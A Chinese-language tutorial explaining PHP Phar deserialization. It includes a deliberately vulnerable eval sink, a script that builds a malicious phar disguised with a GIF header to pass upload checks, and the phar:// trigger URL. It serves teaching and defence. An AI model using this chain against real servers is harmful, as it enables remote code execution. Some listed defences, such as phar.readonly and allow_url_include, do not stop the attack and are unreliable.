初探phar://
字数 1581 2025-08-27 12:33:23
Phar协议反序列化漏洞深入分析与利用
1. 漏洞概述
Phar反序列化漏洞是由Secarma的安全研究员Sam Thomas在BlackHat会议上公开的一种新型PHP对象注入攻击方式。该漏洞可以在不使用unserialize()函数的前提下,通过PHP的流包装器(Stream Wrapper)机制实现反序列化操作,可能导致远程代码执行(RCE)。
2. 流包装器(Stream Wrapper)基础
PHP支持多种URL协议访问文件路径,常见的有:
data://zlib://php://phar://(本漏洞核心)
示例用法:
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');
3. Phar文件结构解析
Phar文件本质上是一种压缩文件,包含以下关键部分:
- Stub:文件标识,格式为
xxx<?php xxx;__HALT_COMPILER();?>,必须以__HALT_COMPILER();?>结尾 - Manifest:存储被压缩文件的权限、属性等信息
- 文件内容:实际压缩的文件数据
- 签名:文件签名(可选)
4. 漏洞核心原理
Phar文件的manifest部分会以序列化的形式存储用户自定义的meta-data。当使用phar://协议访问Phar文件时,PHP会自动反序列化这些meta-data,从而触发反序列化漏洞。
5. 创建Phar文件示例
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub
$o = new TestObject();
$o->data = 'hu3sky';
$phar->setMetadata($o); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>
注意:需要将php.ini中的phar.readonly选项设置为Off才能生成Phar文件。
6. 受影响的文件系统函数
以下函数在通过phar://协议解析Phar文件时都会反序列化meta-data:
- file_exists()
- fopen()
- file_get_contents()
- file()
- is_dir()
- is_executable()
- is_file()
- is_link()
- is_readable()
- is_writable()
- is_writeable()
- parse_ini_file()
- copy()
- unlink()
- stat()
- readfile()
7. 漏洞触发示例
<?php
class TestObject {
function __destruct() {
echo $this->data; // 反序列化时触发
}
}
include('phar://phar.phar'); // 触发反序列化
?>
8. 绕过上传限制的技巧
由于PHP仅通过__HALT_COMPILER();?>识别Phar文件,可以:
- 添加任意文件头(如GIF89a)
- 修改文件后缀名
示例:
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); // 添加GIF文件头
这样生成的Phar文件可以伪装成GIF等格式绕过上传检测。
9. 完整漏洞利用流程
环境准备
- 上传页面 (upload_file.php):
<?php
if (($_FILES["file"]["type"]=="image/gif") &&
(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1) == 'gif')) {
// 上传处理逻辑
} else {
echo "Invalid file, you can only upload gif";
}
?>
- 存在漏洞的文件 (file_un.php):
<?php
$filename = $_GET['filename'];
class AnyClass {
var $output = 'echo "ok";';
function __destruct() {
eval($this->output); // 危险的反序列化点
}
}
file_exists($filename); // 触发点
?>
利用步骤
- 生成恶意Phar文件:
<?php
class AnyClass {
var $output = 'phpinfo();'; // 要执行的代码
}
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$object = new AnyClass();
$phar->setMetadata($object);
$phar->stopBuffering();
?>
- 将生成的phar.phar重命名为phar.gif
- 通过上传表单上传phar.gif
- 访问漏洞点:
file_un.php?filename=phar://upload_file/phar.gif
10. 漏洞利用条件
- Phar文件能够上传到服务器
- 存在可用的文件操作系统函数(如file_exists()等)
- 有可用的魔术方法作为"跳板"(如__destruct())
- 文件操作函数的参数可控,且
:、/、phar等特殊字符未被过滤
11. 防御措施
- 在php.ini中设置
phar.readonly=On(默认值) - 禁用不必要的流包装器:
allow_url_include=Off - 严格检查上传文件内容而不仅是文件头和后缀
- 对用户控制的文件路径参数进行严格过滤
- 避免在魔术方法中执行危险操作
12. 总结
Phar反序列化漏洞扩展了PHP反序列化攻击面,使得即使没有直接的unserialize()调用,也可能通过文件操作函数实现对象注入。这种攻击方式隐蔽性强,能够绕过常规的上传检测,危害性高。开发人员应充分了解其原理并采取适当的防御措施。